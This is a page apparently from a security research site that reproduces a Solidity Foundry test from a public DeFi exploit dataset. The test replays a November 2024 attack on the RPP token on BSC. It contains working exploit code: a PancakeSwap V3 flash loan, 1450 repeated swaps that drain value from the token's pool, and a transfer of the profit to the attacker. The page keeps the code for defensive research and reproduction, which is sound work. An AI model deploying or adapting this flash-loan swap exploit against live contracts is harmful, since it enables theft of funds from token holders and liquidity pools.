Public reproduction file
src/test/2024-11/RPP_exp.sol
Public reproduction file for dataset entry RPP.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~ $14.1K8// Attacker : https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b1129// Attack Contract : https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b4510// Vulnerable Contract : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a3575111// Attack Tx : https://bscscan.com/tx/0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd13// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751#code16// @Analysis17// Post-mortem : N/A18// Twitter Guy : https://x.com/TenArmorAlert/status/185398497430914276819// Hacking God : N/A21address constant PANCAKE_V3_POOL = 0x36696169C63e42cd08ce11f5deeBbCeBae652050;22address constant PANCAKE_V2_ROUTER = 0x10ED43C718714eb63d5aA57B78B54704E256024E;24address constant WBNB_ADDR = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;25address constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;26address constant RPP_TOKEN = 0x7d1a69302D2A94620d5185f2d80e065454a35751;28contract RPP_exp is BaseTestWithBalanceLog {29 uint256 blocknumToForkFrom = 43_752_882 - 1;31 function setUp() public {32 vm.createSelectFork("bsc", blocknumToForkFrom);33 // Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit34 fundingToken = BSC_USD;36 vm.label(PANCAKE_V3_POOL, "PancakeV3Pool");37 vm.label(PANCAKE_V2_ROUTER, "PancakeSwap: Router v2");39 vm.label(WBNB_ADDR, "WBNB");40 vm.label(BSC_USD, "BUSD");41 vm.label(RPP_TOKEN, "RPP");42 }44 function testExploit() public balanceLog {45 AttackContract attackContract = new AttackContract();46 attackContract.start();47 }49 receive() external payable {}50}52contract AttackContract {53 address attacker;54 uint256 borrowedAmount = 1_200_000_000_000_000_000_000_000;56 constructor() {57 attacker = msg.sender;58 }60 function start() public {61 TokenHelper.approveToken(BSC_USD, PANCAKE_V2_ROUTER, type(uint256).max);62 TokenHelper.approveToken(RPP_TOKEN, PANCAKE_V2_ROUTER, type(uint256).max);64 IPancakeV3PoolActions(PANCAKE_V3_POOL).flash(address(this), borrowedAmount, 0, "");66 TokenHelper.transferToken(BSC_USD, attacker, TokenHelper.getTokenBalance(BSC_USD, address(this)));67 }69 function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {70 uint256 times = 1450; // 145071 for (uint256 i = 0; i < times; i++) {72 address[] memory path = new address[](2);73 path[0] = BSC_USD;74 path[1] = RPP_TOKEN;75 IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapTokensForExactTokens(76 99_999_999_999_999_999_999_999,77 1_200_000_000_000_000_000_000_000,78 path,79 address(this),80 block.timestamp + 100_000_00081 );82 }84 while (true) {85 uint256 rppBalance = TokenHelper.getTokenBalance(RPP_TOKEN, address(this));86 address[] memory path = new address[](2);87 path[0] = RPP_TOKEN;88 path[1] = BSC_USD;89 IPancakeRouter(payable(PANCAKE_V2_ROUTER)).swapExactTokensForTokensSupportingFeeOnTransferTokens(90 99_999_999_999_999_999_999_999, 0, path, address(this), block.timestamp + 100_000_00091 );92 if (rppBalance <= 134_160_000_000_000_000_000_000_214) break;93 }95 TokenHelper.transferToken(BSC_USD, PANCAKE_V3_POOL, borrowedAmount + fee0);96 }98 receive() external payable {}99}Analysis
Dataset entry
Public Foundry test for “RPP” (2024-11-05). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/vETH_exp.solSame month in the dataset · 94 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x709b30b69176a3ccc8ef3bb37219267ee2f5b112
- Attack Contract
0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45
- Vulnerable Contract
0x7d1a69302d2a94620d5185f2d80e065454a35751
- Attack Tx
0x76c39537374e7fa7f206ed3c99aa6b14ccf1d2dadaabe6139164cc37966e40bd
- Twitter: https://x.com/TenArmorAlert/status/1853984974309142768
- Explorer: https://bscscan.com/address/0x709b30b69176a3ccc8ef3bb37219267ee2f5b112
- Explorer: https://bscscan.com/address/0xfebfe8fbe1cbe2fbdcfb8d37331f2c8afd2a4b45
- Explorer: https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751
- Explorer: https://bscscan.com/address/0x7d1a69302d2a94620d5185f2d80e065454a35751#code
File record
- Name
- RPP
- Path
- src/test/2024-11/RPP_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 46b75cc71ad7cb4797932c6a9ee754be868daffb
- Language
- Solidity
- Size
- 100 lines
- Date
- 2024-11-05
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/RPP_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 46b75cc71ad7cb4797932c6a9ee754be868daffb, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.